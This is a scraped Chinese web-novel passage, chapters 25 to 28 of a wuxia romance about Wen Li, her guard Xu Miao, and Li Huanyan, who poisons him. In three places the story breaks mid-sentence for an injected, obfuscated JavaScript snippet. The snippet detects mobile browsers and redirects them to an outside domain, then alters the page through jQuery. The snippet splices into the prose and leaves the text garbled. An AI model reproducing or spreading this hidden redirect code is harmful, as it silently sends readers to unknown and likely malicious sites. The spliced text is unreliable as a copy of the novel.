台下人议论纷纷,说这大小姐厉欢颜虽生了副好容貌,但性格却十分不讨喜,什么没礼貌、脾气大,比皇室公主、郡主还要傲上三分,往后谁娶了她,肯定是个受气包。 也有人嘴贱说月华山庄富甲一方,闻名天下,即便这大小姐性格不好,也有的是人上赶着当赘婿,再傲的女子,只要男的活好,婚后也能给大小姐治得服服帖帖。 厉欢颜在台上听着,脸色愈发冷了下来,手腕一翻,铮的一声响,竟将手中的长剑掷进木柱中,剑气回荡,吓得台下看客退避三丈。 闻梨因为挨着徐渺,没感受到剑气的厉害,只觉那大小姐好气魄,果然只有自己实力强了,才不惧怕流言蜚语。 闻梨大受鼓舞,扭头朝徐渺小声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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围观的百姓,已有不少被鞭子误伤的,场面登时乱作一团,闻梨离得最近,手中的瓜子被鞭子抽掉,下一瞬,又挥来一鞭差点抽到她的眼睛,幸而被身边眼疾手快的徐渺拦下,她才没有被打瞎一只眼。 厉欢颜正在气头上,回眸一看,有人竟然攥住了自己的鞭子,以为徐渺也是来比武的,见他样貌生得不错,想要试试他的武功深浅,便二话不说,转身与徐渺打起来。 徐渺只好迎招,有意将厉欢颜引开人群,二人从台下打到台上,又打到游廊房顶,所到之处花凋叶落。 厉欢颜难得遇到敌手,一时忘记比武招亲,招招致人要害,想要与徐渺打个痛快。 徐渺被迫拾起一根树枝当剑,发现越是闪躲,对方出招越狠,再这么下去,自己迟早也会精疲力竭,便想找机会一招制胜,打得更主动了些。 这是闻梨第一次见识徐渺的身手,她分不清什么样的功夫是上乘,只觉徐渺出招干脆利落,身形如魅,步履轻盈如飞,不仅厉害,还特别具有观赏性,连台下一众看客,也被二人的打斗吸引了目光。 闻梨的心也跟着汹涌澎拜,在一阵眼花缭乱的招式过后,比武忽然就结束了,仅一个眨眼的工夫,她看到徐渺夺走了月华山庄大小姐的鞭子,还将树枝抵在大小姐脖颈间。 台下掌声四起,已经有人在替徐渺庆祝比武夺魁,即将成为月华山庄的乘龙快婿。 “成亲!成亲!”台下一堆人在喊。 啊?闻梨才反应过来,徐渺应战,岂不是变相参加了比武招亲?现在还赢了比赛,早知道刚才就不在心里给他鼓气了。 天呐,要是徐渺决定留下当月华山庄的女婿,那她该怎么办?不管怎么算,这个待遇都比跟着自己当护卫好,她又是个逃犯,完全比不过呀。 周遭呐喊声四起,氛围愈演愈烈,只有闻梨的心凉了半截,隔着擂台,她瞧见收手后的两人站在一起说话,至于说了什么,她根本听不清楚。 两人站在一起,好耀眼,好登对啊。 好想知道他们在说什么,闻梨尝试分析二人的口型,一个像在说:什么时候可以成婚,越快越好;另一个彷佛回应说:等我辞了护卫的差事,就来月华山庄找你。 闻梨简直快要待不下去了,默默捡起散落的瓜子,糖包,还有水壶,收进徐渺打架时扔下的布袋,深深叹口气,转身欲走,天大地大,看来她又要一个人上路了。 徐渺瞥见一脸失意离去的闻梨,想也没想,立刻追了过去。 26. 第二十六章 “阿梨!”这是徐渺第二次主动唤闻梨的名字。 闻梨扛着布袋转身,诧异地看着追来的徐渺,他的身后还跟着月华山庄的大小姐,闻梨瞬间懂了,心里又落寞了一瞬,没想到徐渺如此迫不及待想要解除雇约,都没有一个正式的告别么? 尽管心里很不情愿,闻梨还是强撑着笑,“我知道了,回去我就把……” 徐渺忽然伸手将她抱住,朝厉欢颜道:“在下方才已经解释过,若非姑娘差点伤到我的娘子,我绝不会多管闲事与你过招,我已成亲,跟姑娘你不合适,你若不信,可以问我的娘子。” 闻梨懵了一瞬,很快反应过来,原来徐渺不想当月华山庄的女婿,在拿她当借口呢,尽管知道是假的,但是他一口一个娘子,真是让人脸红心跳。 既然演戏就要做全了,闻梨作状推开徐渺的手,脸上神情又是委屈,又是生气,醋味十足道:“你还记得我是你娘子,人家比武招亲,你凑什么热闹,就算是为了救我,惹人误会,认个输不行吗?我还真以为夫君你要另攀高枝,全然把我抛在脑后。” 徐渺登时愣住,脸上写满诧异,不知该说什么好。 闻梨寻思自己是不是演过头,正要找补,却听到徐渺认真反省道:“娘子教训得是,我再也不会把你扔下了。” 闻梨:“……”心跳得有点快。 跟过来的厉欢颜猝不及防被喂了口狗粮,眼神冷下三分,顿时对徐渺失去兴致,她可做不出那等强抢民夫的事情,既然是误会,说开了也没什么,但是她盯着闻梨绯红的耳尖,感觉这两人之间有什么秘密。 今天没招到夫婿,回去又要被娘亲一顿骂,厉欢颜心痒难耐,想要在这两人身上动点手脚。 徐渺接过闻梨身上布袋,自然而然牵起她的手,朝厉欢颜道:“那么,我们就先告辞了,希望姑娘早日找到如意郎君。” 厉欢颜收起鞭子,没再说什么。 二人牵手走过街角,直到人少的地方,闻梨才想松手,再这么握下去,她的半边胳膊都酸了,主要是跟他相触,她会很不自然,感受手已经不是自己的手了,手心紧张得在冒汗。 没成想徐渺握得很紧,闻梨没能抽回自己的手,她抬头看他,却见他一脸深沉,彷佛在思考什么了不得的问题。 闻梨小声提醒:“这里没人啦,我们可以不用装了,刚才演上头了,是我信口胡诌的,没吓着你吧?” 徐渺长睫微颤,纯澈的眼瞳闪过一丝恍然,松开闻梨的手,自嘲地笑了笑,“我方才见你头也不回地走了,还以为你是真的生气,在想该怎么哄你开心。” 闻梨错愕不已,脸蓦然红了,慌忙摆手,有些语无伦次:“怎、怎会生气,我想着你要去当月华山庄的赘婿,奔个好前途嘛……” 闻梨的话还没说完,徐渺忽而倒了下来,沉沉压在她肩头。 “我头好晕。”他的声息很是虚弱。 闻梨立马将徐渺扶住,一脸紧张问:“你怎么了?是不是刚才打架受伤了?” “我也不知道。”说完此话,徐渺彻底晕了过去。 徐渺看着清瘦,身子却很结实,又整整比闻梨高出一颗脑袋,压下来的重量不轻,闻梨扶得很吃力,在热心人士的帮助下,终于把昏迷的徐渺挪回了客栈。 很快,店小二请来了城里的郎中,郎中一边把脉,一边摇头:“病人是中毒之状,老夫只是个治跌打损伤的散医,要想解毒,还得去药师谷求陶医圣才行。” 郎中诊治完,便给闻梨开了几副延缓毒药扩散方子,闻梨除了熬药,几乎寸步不离守在徐渺房中,喂药,喂水,擦汗,细心照顾着他,累了就趴在床边小睡一会儿。 睡得迷迷糊糊时,闻梨感觉有人在拨弄自己的手,睁眼一瞧,发现徐渺竟然醒了,她连忙起身,倒了杯水想喂他喝下。 徐渺自己接过杯子,将杯中水一饮而尽,却仍觉得口干舌燥,闻梨立刻把茶壶端来,一杯接一杯倒给他喝。 她一边倒水,一边将郎中的话告诉徐渺,“我已经让店小二帮我喂饱马,明天我们就去药师谷给你治病。” 徐渺抬头看向闻梨,眸光温澈动人,声音柔得像轻羽拨过心弦,“谢谢你,彻夜不眠地照顾我。” 闻梨很不好意思地抱着茶壶坐下,“这也没什么,你现在感觉怎么样?记不记得是谁给你下的毒?” 徐渺回忆许久,始终没有头绪,不过练武之人可以自己运功逼毒,他想自己试试,便朝闻梨道:“能不能帮我弄桶洗澡水来,我想运功逼毒。” 闻梨点点头,喊来值守的店小二,从兜里掏出一锭银子,让店小二尽快把热水送来,然后转身,把房门锁好,然后搬来小凳子,准备守着徐渺运功。 徐渺却面露难色:“你能不能先出去?” 闻梨忙解释道:“我怕你万一走火入魔。”这些天,她也听了不少练武的事,尤其是走火入魔,严重时还会危及生命。 “运功时的汗水会打湿衣裳。”徐渺神色不太自然,耳廓泛起一抹可疑的红。 闻梨原本正看着他的脸,听到此话,下意识飞快往下瞄了一眼,也闹了个脸红,倏然起身,“那我去瞧瞧洗澡水烧好没有。” 闻梨找借口跑了出来,脸还在烫得厉害,她哪里是要去看什么洗澡水,在门前徘徊一阵,留神听屋里的动静。 半个时辰后,店小二送来桶热水,殷勤询问闻梨是否要抬进屋中,闻梨看了眼紧闭的房门,摇了摇头,让店小二抬回去继续热着。 不知等了多久,天边渐亮,客栈后院鸡鸣了三遍,也没见徐渺出来。 闻梨心急如焚,想掀开一丝门缝瞧瞧里面的情况,又担心影响徐渺运功打坐,只能在门口转来转去。 屋内的徐渺似乎听到到她急促的脚步声,过了一会儿,主动把门打开了,昏暗的屋内,显露出一张失魂落魄的俊脸。 闻梨从没见过神情如此落寞黯然的徐渺,为何他运功后的脸色比昨晚刚醒时还要难看几分,难不成真的走火入魔了? “你……怎么了?” 徐渺面色苍白,把空空的手掌伸来闻梨面前,有气无力道:“我的武功没了,我试了很多法子,都没办法凝聚起体内的真气。” 闻梨蹙紧眉头,丝毫没有迟疑,一把抓住徐渺的手,拉着他往楼下走,“我们这就去药师谷,找医圣给你解毒,倘若治不好,我会养你一辈子。” 两人的包袱以及物资,昨晚就被闻梨收进马车内,从店小二那里打听到药师谷的位置后,闻梨拉着徐渺坐上马车,朝药师谷的方向出发。 这一路上,徐渺始终很消沉,脸上笑容少了许多,不过他一向温和有耐心,即便武功全废,没有自暴自弃发脾气,或者性情大变,相反有种随遇而安的平静感。 闻梨生怕他想不开,不时找他搭话,而他也都句句有回应,反过来安抚闻梨焦急的心绪。 药师谷离月华城并不算远,两人日夜兼程,在第三天夜里终于抵达药师谷山下的小镇,镇子不算小,客栈也有很多家,住的全是慕名来求医的江湖人。 二人在客栈休息了一晚,翌日一早便进谷寻医。 “我昨晚打听了,这位陶医圣最擅长用毒,还解过不少江湖奇毒,一定能让你的武功恢复。”闻梨边走边道。 徐渺的情绪依旧低落,弯了下唇角,笑容略显苦涩:“这一路幸苦你了,要是治不好……” “要是治不好,我就带你去月华山庄求药,这几日我一直在想,定是那位大小姐被你拒婚,觉得脸上无光,才偷偷给你下药。” 徐渺:“可现在的我打不过她,去了月华山庄也拿不到解药。” 闻梨垂下眼睫,犹豫再三,小声道:“那你就娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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没等闻梨打量完来人,又瞧见医圣身后跟来一位姑娘,乍一看,这姑娘的样貌有点眼熟。 与此同时,那姑娘也瞧见了屋中的二人,下巴微抬脸上露出得意的笑。 “哦,原来是你们啊。” “你怎么在这里?” 厉欢颜往医圣身边一靠,气焰嚣张道:“这是我爹啊,我不在这里,那应该在哪里?” 闻梨也往徐渺身边靠了靠,明显底气不足:“你还敢出现?是不是你给他下的毒?原以为月华山庄都是正义之士,没想到也会干这种下三滥的勾当。” 厉欢颜有点气恼:“没错,是我干的,骂我就好好骂,扯月华山庄做什么?” 闻梨还想再说些什么,却被徐渺拦在身后,只见他神色严峻,语气冰冷道:“既然如此,那我们走吧。” “二位请留步,小女言行无状,若是得罪了二位,我替小女向二位道歉。”在一旁看热闹的医圣终于开口。 见医圣不似其女那般胡搅蛮缠,徐渺这才停下脚步,恭敬道:“有劳前辈替我解毒。” 厉欢颜很不满意亲爹的做法,气哼哼道:“我何时言行无状了,分明是他们欺骗我在先,我才给他下毒的,你们两个不是夫妻吗?那我告诉你们,此毒唤作鸳鸯散,你们要是真夫妻,睡一觉就解开了,哪里需要这么麻烦。” 闻梨与徐渺皆是一愣,尤其是闻梨,不光震惊,脸红得像熟透的桃子,不敢再对上徐渺的视线,低头盯着地面的板砖,彷佛有什么东西等着她去捡。 可恶,这大小姐为什么不早点说清楚!虽说她肯定不会陪徐渺睡觉,让他自己来也能解决吧? 另一个奇怪的念头浮现,要这么说,尽管有很感觉,但是徐渺一次也没自己解决过? 他难道……是不行吗? 27. 二十七章 “好了欢颜,你先带这位姑娘出去,我要替少侠解毒。”陶医圣颇为无奈地看向自己的女儿。 厉欢颜只好住嘴,头一扭,自顾自地出门去了。 闻梨早就想找借口离开,见机会正好,眼也不抬地跟着走了。 出门后,闻梨自己找了个凉亭坐下,抬头却瞧见本已走远的厉欢颜折返回来。 “你们两个到底是什么关系?好端端的,骗我做什么?” 闻梨一阵默然,总不能把真话告诉这位大小姐吧?主意是徐渺出的,他肯定是不想被大小姐缠上,这种话讲出来,十有八九要挨揍。 想了想,闻梨斟酌开口:“他是我的护卫,那天为了保护我才跟你打架,我们不想在外惹是生非,无心欺骗于你。” 猜测被证实后,厉欢颜眉梢高高扬起,“我就说你们不像真夫妻。” “你从哪里看出来的?”闻梨觉得好奇,明明那天自我认为演得不错,不知是哪一处露了陷。 厉欢颜俏皮地眨眨眼:“很简单啊,我爹牵我娘的手时,我可从没见过我娘脸红,那天你的脸红成那个样子,很惹人怀疑好么?” 闻梨轻轻搓了搓自己的脸,没想到居然是这个缘由,看来下次不能再扮演夫妻了。 厉欢颜自来熟地坐在闻梨身边,一脸八卦问道:“你的护卫师承哪一派?我瞧他的武功路数很复杂,不像是从几大门派里出来的,他这个年纪,要是去参加武林大会,没几年肯定名扬天下。” 闻梨摇头:“他没跟我说过这些。” 见闻梨似乎真的不知情,厉欢颜故作深沉道:“看你长得乖巧讨喜,想必刚出来闯江湖吧?连底细都不知道的护卫,也敢带在身边?我跟你说,男人最不可信,尤其是长得好看的男人,惯会欺骗女人,你自己留点心眼,别被吃干抹净了啊。” 闻梨睁着圆溜溜的眼,眸光又透又亮,唇畔似笑非笑,心想道,这月华山庄大小姐,前后反差还真大。 感觉自己已经仁至义尽的厉欢颜,正想功成身退,临走前又补了一句:“当然,长得丑的也别信,花花肠子最多了,你玩不过他们的。” 厉欢颜走后,闻梨自己坐在外边等徐渺,无聊了就四处走走,数一数山上的药田和药师谷弟子,此谷幽静祥和,远离江湖与尘世,能在这里当个学徒也十分不错。 她开始有点羡慕厉欢颜了,母亲是执掌山庄的庄主,父亲是悬壶济世的医圣,不管学武还是学医,都能直接继承家学,而且夫君也能由其自己选,就算不嫁人,也有自己立命安身的本事。 闻梨不禁陷入沉思,等之后到了桃源村,自己又能做些什么呢?虽然身上的钱足够她衣食无忧,过完普通人的日子,但是万一家里遭贼,或者遇到什么天灾人祸,钱没了怎么办? 再说了,谁不希望自己的钱袋子鼓起来呢?她可得好好寻思一下,自己做什么买卖能赚银子。 她正想得入迷,丝毫没发觉身后有人靠近。 “你在这里想什么?”徐渺的声音冷不丁在背后响起。 闻梨欣喜回头,瞧见徐渺的脸色已不似早上那般苍白,眼眸也重新拾起光芒,她由衷替他感到开心:“你的身体恢复了?” 徐渺自惭笑道:“这段日子让你担心了,医圣帮我清除了毒素,不过中毒时间久,武功要养几天才会恢复。” “那就好,我们在山下住几天吧?要是武功没恢复,也方便找医圣。” 徐渺笑着应好,却在闻梨背过身时,眉头微不可察地蹙了下,前两天,他收到属下的来信,信上说谢陵回京后雇了暗夜阁的杀手,要活捉闻梨,杀手们不知从何处得到线索,正朝着药师谷赶来。 现在他的武功才开始恢复,若半道上遇到杀手,没有把握带着闻梨全身而退,药师谷是月华山庄的地盘,留在这里兴许会好一点。 徐渺此刻只希望,在杀手们到来前,他的武功能够全部恢复。 从药师谷回来的路上,闻梨一直在想厉欢颜说过的话,经过两个多月的相处,自己还是对徐渺的过往一无所知,当时追杀他的是些什么人?以及那天晚上,他为何会突然答应当她的护卫? 这些问题,她从没有问出口,只是潜意识里觉得他这个人很神秘,倘若探知到他的秘密,反而可能会把他推远,她愿意等他主动开口的那天。 “你今天好像有心事?”徐渺发现闻梨有些心不在焉。 思绪落回眼前,闻梨扯唇笑了笑,刚想说没什么,却在刹那间被徐渺推开,一枚铜制飞镖堪堪从她身旁擦过,闻梨跌坐在墙边,惊魂未定望着突然出现的一伙黑衣人。 其中有个人掏出画像,照着闻梨比对了几眼,眼神徒然变亮,扭头跟身边人训道:“小兔崽子们下手轻点,雇主说要抓活的,受一点伤都不行。” “那男的怎么办?” “不管他,要是敢来碍事就杀掉。” 徐渺对这些人的威胁视若无睹,快步过去将闻梨护在身后,他没想到暗夜阁杀手来得如此之快,还都是些排行榜上的高手,即便武力全部恢复,他也不一定打得过。 “等会打起来,你就找机会逃走,回药师谷躲一躲,那里是月华山庄的地盘,他们不敢硬闯。” 望着眼前一众面色不善的杀手,闻梨不自觉扯紧徐渺的衣角,慌张问道:“可你怎么办?” 徐渺安抚地拍了下她的手背,抿唇轻笑:“放心,他们的目标不是我,等我逃出来,就去药师谷找你。” 闻梨不甚放心,但眼下没有更好的选择,自己留下还会拖累徐渺,便只能答应道:“你自己小心,我等你回来。” 话音未落,有两个黑衣杀手已按耐不住,手里攥着绳子,朝闻梨逼近。 徐渺眼神幽冷,捏碎藏在手心的烟丸,四周瞬间腾起一阵呛人的烟雾,闻梨趁此机会,转身往药师谷方向狂奔。 身后传来兵器碰撞的响动,闻梨识得徐渺出剑的声音,只听得一声脆响,铁剑骤然断裂,哐当掉地。 闻梨错愕回首,便瞧见徐渺失控般从白雾中飞出,身体砸落在墙上,猛然吐了口血,他艰难抬起头看她,眼瞳腥红,刘海紧贴在额间,冷白如玉的面庞沾了不少污泥,唇形似乎在说:快跑。 闻梨眼睫微颤,忽而站定,眸底闪过一缕决绝,毅然回头,她拔下挽发的银簪,紧抵在自己颈间,手因为发抖,没控制好力道,脖颈皮肉处已有血迹渗出。 “你们要是杀了他,我也不活了。” 此话一出,正准备下狠手的黑衣人蓦然停住,询问带头者的意思。 为首者轻啧了一声,道:“先听她的。” 闻梨跑来徐渺身旁,想要把他扶起,眼泪狼狈地从脸颊滑落,声音哽咽:“对不起,是我连累了你,很庆幸能与你相识一场,我从没像这段日子里这般开心过,你自己走吧,别再来救我了。” 她说这话时,面色凄然,语气里透着深深的绝望,徐渺什么话也没说,只是抬手拿开她抵在脖颈的簪子,用柔和而坚定的眸光望着她,耐心等她说完,才虚弱笑道:“我不走,我既然答应当你的护卫,你去哪里,我便跟去哪里。” 闻梨怔愣片刻,还没来得及细想他话里的意思,街边忽然传来一道女子轻灵骄矜的喊声:“把他们拿下!” 一时间,四面围上来不少青衣女剑客,人数是黑衣人的三倍多,很快将场面镇住。 厉欢颜手执长剑,从众剑客中间走出,她今日的打扮干练爽利, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308448|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏黄衣裙在日光下,衬得她本就明媚的五官更加绮丽,尤其是开口说话时,气势十足: “诸位在我月华山庄的地盘打人,有没有问过我的意思?” 暗夜阁杀手们面面相觑,纷纷看向领头者,领头者眉头紧皱,没想到竟然有月华山庄的人插手,对方人多势众,没必要正面起冲突,便带着人撤走了。 眼见暗夜阁杀手走远,厉欢颜才收起剑,来到闻梨与徐渺跟前,双手抱在胸前,扬起下巴道:“你们两个没事吧?” 闻梨擦擦泪痕,目露欣喜:“你怎么知道我们在这里?” 厉欢颜得意笑了笑:“没什么能瞒过我的眼睛。”说罢,她扭头吩咐女剑客们全都回去,她们的职责是保护药师谷,要是被母亲大人知道她私下调遣卫队,那就麻烦了。 “多谢厉姑娘出手相救。”徐渺被闻梨扶起,勉强撑起身子。 “小事一桩,毕竟是我给你下药的,倘若害你们丢掉性命,岂不是罪过大了?”厉欢颜略顿了顿,又好奇问道:“话说你们怎会惹上暗夜阁的人?” 闻梨迟疑了一下,不知该怎么解释,抬眼看向徐渺,只见徐渺面不改色,回答得模棱两可,只说是仇家买通暗夜阁的人追杀。 厉欢颜不在意他们招惹了什么样的仇家,便没再多问,挥挥手道:“走吧,先回药师谷养伤。” 徐渺在闻梨的搀扶下,再次回到药师谷,这次药圣没再露面,是大弟子江亦为他疗伤的,徐渺内伤严重,每日几乎有大半天时间要泡药浴,闻梨不方便跟着,整日在外边闲逛,久而久之倒是和厉欢颜熟络起来。 闻梨发现,表面上看着骄纵不拘、目中无人的月华山庄大小姐,其实私底下是个嘴硬心软的傲娇怪,有什么好吃的、好玩的,都会给闻梨送一份,偏嘴上还要说自己吃不完,不想浪费。 闻梨眨了眨眼,欣然接受,主动靠近厉欢颜,热诚邀请她:“等会要不要一起吃午膳?” 厉欢颜一脸意外,眼中划过一丝惊喜,她虽为大小姐,不论月华山庄,还是药师谷,人人都对她敬而远之,长这么大还没交到过同龄的朋友。 “那、那你等着,饭点我过来找你。”扔下这句话,厉欢颜便匆忙走了。 闻梨只当厉欢颜是不好意思,等到了饭点,厉欢颜没出现,只是派了个药师谷弟子过来叫她,闻梨并未多想便跟着走了。 * 今晨,徐渺像往常那样脱掉上衣,踏进浴桶里泡澡,期间江亦不时进屋看一眼情况,经过几日的疗养,徐渺的内伤已好了大半,武功也在逐渐恢复。 本该是件好事,可徐渺却注意到,江亦自打进门后,便一脸神色凝重的模样,眉间隐有纠结之色,好几次欲言又止,随即又摇摇头,暗自叹口气。 连带着徐渺也跟着紧张,语气沉重问道:“江大夫,是不是我的内伤治不好了?” 江亦摇头:“你的伤没什么问题,不过跟你一起的那位姑娘,恐怕怕要遭殃了。” 哗啦一声,徐渺从浴桶里站起身,神情着急:“江大夫此言何意?” 江亦把他摁回水里:“你别急,她暂时不会有性命之危,你还得在泡一个时辰才能出来。” 徐渺盯紧江亦:“还请江大夫明说。” 江亦舀了瓢热水进浴桶,一边解释道:“我也只是猜测,你的同伴最近跟欢颜走得很近,欢颜性子顽劣,从小就喜欢拿身边人试毒,连我都不能幸免,只需谨记,千万别吃她给的东西。” 徐渺沉默不语,早早结束今天的药浴后,他在饭堂寻了一圈,却不见闻梨身影,在江亦的帮助下才打探得知,闻梨早被厉欢颜派来的人请去吃午膳了。 二人立刻往竹林中的小院赶去。 28. 第二十八章 在药师谷的这几日,闻梨向来都是在饭堂吃饭,头一回被人带到了从未涉足过的幽静小院,还未走近,迎面扑来一阵浓郁的饭菜香味,连一旁带路的弟子都没忍住咽了咽口水。 闻梨在弟子羡慕的眼神中推开院门,踏进小院,只见朴素简单的小院中间,摆了满满一桌饭菜,菜色也是最家常的那种,看着很是下饭。 闻梨愣愣站着这温馨小院里,忽然觉得有些受宠若惊,心里酸酸的,胸口腾起一种从未有过的轻柔感,暖融融的,让她有点不知所措。 厉欢颜端着一盘菜,从灶房里出来,见闻梨如约来了,她先是面露喜色,很快压下来,故作镇定招呼闻梨坐下:“我爹的手艺一般人尝不到,快来趁热吃。” 闻梨仍拘谨地站在桌边,往灶房的方向瞅了一眼,“陶医圣不过来一起吃?” 厉欢颜拉着她坐下,“我爹习惯一个人吃,我们俩先吃吧,尝尝合不合你胃口。” 闻梨这才坐下,夹了块面前的鱼肉尝了尝,鲜香滑嫩,她边吃边夸,脸上神情十分满足,“好吃极了!” 只听得砰的一声响,院门忽被人踹成两半,飞来的门板险些打翻桌上的饭菜,好在厉欢颜眼疾手快,挡了下来。 闻梨攥紧饭碗,目瞪口呆望着门边站着的两道人影,一时搞不清状况,只见徐渺沉着脸快步走来,夺走她手里的饭碗,肃声道:“别吃,有毒!” 此话一出,厉欢颜的脸色徒然变得难看,早在她瞧见江亦的那一刹那,心中都明白了。 徐渺见闻梨还嘴里塞得鼓鼓的,捏着她的脸,想让她赶紧吐出来,却不料她嚼啊嚼,不仅咽了下去,居然还把他夺过来的碗重新端走。 “没毒啊,我吃着很香,陶医圣亲自下厨,怎会有毒呢?” 从闻梨的反应看来,并不像中毒之症,徐渺也有些困惑了,将目光投向江亦,只见江亦不慌不忙掏出银针,试了试饭菜,果然没毒。 江亦明显松口气,只说了句得罪了,便自己走了。 独自在屋内吃饭的陶医圣瞧见这一幕,无可奈何地摇摇头,只要这些小辈没有闹到不可开交的份上,他都不会插手去管。 闻梨扭头看向厉欢颜,她的脸色像是被霜打了那般惨败,眼眶早已盈满泪水,却咬紧唇不肯让眼泪落下,最终,她什么话都没说,转身把自己锁屋子里,任凭闻梨怎么敲门,都不出来吃饭。 好好一顿饭,就这样被搞砸了,徐渺也有点心虚,一脸无辜地望着闻梨,他那副神情彷佛再说,你没事就好,我很担心你。 闻梨怎还怪得出口,拿了副新碗筷来,便拉着徐渺坐下,望着已经有些凉的菜肴,叹道:“一起吃吧,陶医圣辛辛苦苦做的,可别浪费了。”说罢,她开始动筷。 期间,闻梨从徐渺那里得知了事情的经过,吃完饭后,徐渺很自觉的洗碗抹桌,闻梨也跟着收拾残局,两人把小院打扫得干干净净。 屋内的陶医圣颇为满意,暗自感慨,要是自家的两个孩子,也能这般讨人喜欢就好了。 隔壁屋子内,厉欢颜躲在被子里抹眼泪,濡湿了大半枕头,伤心到最后有些累了,蒙着被子睡了过去。 再醒来时,外边天色已黑,腹中饥饿难忍,她从床上爬起来,红肿着一双眼,打算去小厨房翻点吃的,推开门却见院中燃起篝火,火堆旁坐着两个人,火上还架着一只烤鸡,香味勾人。 闻梨听到门响,回头正好瞧见厉欢颜从屋子里出来,便朝她招手笑道:“你来得正好,香喷喷的烤鸡可是我家阿渺的拿手招牌,要不要过来尝尝?” 徐渺垂下眼睫,唇角微扬。 厉欢颜驻足片刻,大大咧咧走过来,在闻梨身旁坐下,嘴上问着徐渺会不会也给她下毒,手却已经伸出,接过闻梨递来的肥美鸡腿,大口吃起来。 闻梨又将另一只鸡腿分给徐渺,犒劳他道:“今天辛苦你啦,我想跟厉姑娘单独聊聊。” 徐渺笑着接过,趁着闻梨扭头跟厉欢颜说话之际,悄悄放进她的碗中,随后离开小院,继续泡药浴去了。 厉欢颜将二人的互动看在眼里,待徐渺走远,她才打趣闻梨道:“瞧不出来,你家护卫还挺会心疼人的嘛。” 闻梨开始装傻充楞:“那我也心疼心疼你,一整天没吃饭,饿坏了吧?特意求了阿渺给你做烤鸡吃,白天的事情,我替阿渺向你道个歉。” 厉欢颜神色黯然道:“我不是在跟你们置气,我是……没想到江师兄会如此不信任我,你说人做错了事情,是不是就永远没法被原谅?” 闻梨思忖道:“那也得看具体是什么事吧?” 厉欢颜连着啃了几口鸡腿,“在我小时候,我娘常年逼着我练剑,我心里很不乐意,却又没办法违抗,便跑来我爹这边,想学医救人,那时候不懂事,沉迷于炼制毒药,还拿不少人试药,被我爹娘狠狠揍了一顿,从那以后,再没人敢跟我一起玩。” 话说到一半,厉欢颜忽而起身,不知从哪里搬来一坛子酒,给闻梨和自己的碗满上,一边喝,一边道:“那一阵子,我过得很孤独,吃饭也是一个人,练功也是一个人,就只有我娘给我找的门派师父,还乐意跟我说几句,其他人都避我如蛇蝎。” 厉欢颜闷下一口酒,喝完看向闻梨的酒碗。 闻梨见状,便也学着厉欢颜的模样,一口喝掉碗里的酒,辣得她喉咙发紧,没忍住一个劲挠自己的脖颈,又担心抓伤前几日留下的疤痕。 厉欢颜扑哧一笑:“这酒烈着呢,你不会喝,就少喝一点。” 闻梨脑袋有些发懵,好不容易压下喉咙的不适,便听到厉欢颜继续刚才的话题。 “江师兄就是在那个时候被我爹带回药师谷的,我爹还收他为关门弟子,还说未来的药师谷由他传承,江师兄是个至诚至善的性子,对每个人都很好,也包括我。” 闻梨不解问道:“那你为何给他下毒?” 厉欢颜没说话,连着喝了好几碗酒,眼中仍不见醉意,别过脸去,自嘲地笑了笑:“我给他下的是鸳鸯散。” 闻梨睁大眼睛,忽然间就明白了什么。 厉欢颜:“我想出门闯荡江湖,可我娘逼着我接手月华山庄的事务,闹了几场,我娘骂我烂泥扶不上墙,说我执意要走,那就先成亲,生个孩子,她要培养成山庄未来的继承人。” 闻梨恍然,“所以你就盯上了江大夫?” 许是喝了酒的缘故,厉欢颜难得坦诚一回:“是啊,可是江师兄心里根本没我,一心只想着将药师谷发扬光大,我只好用点特殊手段,偷偷跟你说,我娘当年就是用这一招把我爹弄到手的,虽说他二人不在一处过日子,但心里始终有彼此,别提我有多羡慕了。” 闻梨连忙看一下四周,还好没第二个人在场,陶医圣白天就出去了,也不在院中。不知道大小姐明天酒醒,会不会来找她灭口? 厉欢颜压根没醉,看穿闻梨的顾虑,手一挥,笑道:“放心啦,我拿你当好朋友,相信你不会说出去的,何况你也不敢说,我娘可不好惹。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338879|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来呢?” “那种药平常人吃了,如果不发泄出来,可能会丢命,江师兄被我下药后,强撑着一口气找我爹解毒,此后便再没理过我,我哭也好,闹也罢,他皆视若无睹,后来,我自觉没趣,不怎么来药师谷,这次还是为了瞧瞧你们会不会来。” 闻梨沉默良久,才问道:“这些话你可有跟江大夫说过?” 厉欢颜失落道:“他私下对我冷冰冰的,哪有机会跟他说这些话?而且说了又如何呢?他还不是照样讨厌我。” 闻梨却道:“可我今天瞧着江大夫对你不是讨厌,反倒是种担心?担心你一错再错,想想看,我们刚见面,你是不是就给阿渺下毒了?也许在江大夫看来,你屡教不改,故而才一直对你冷淡。” 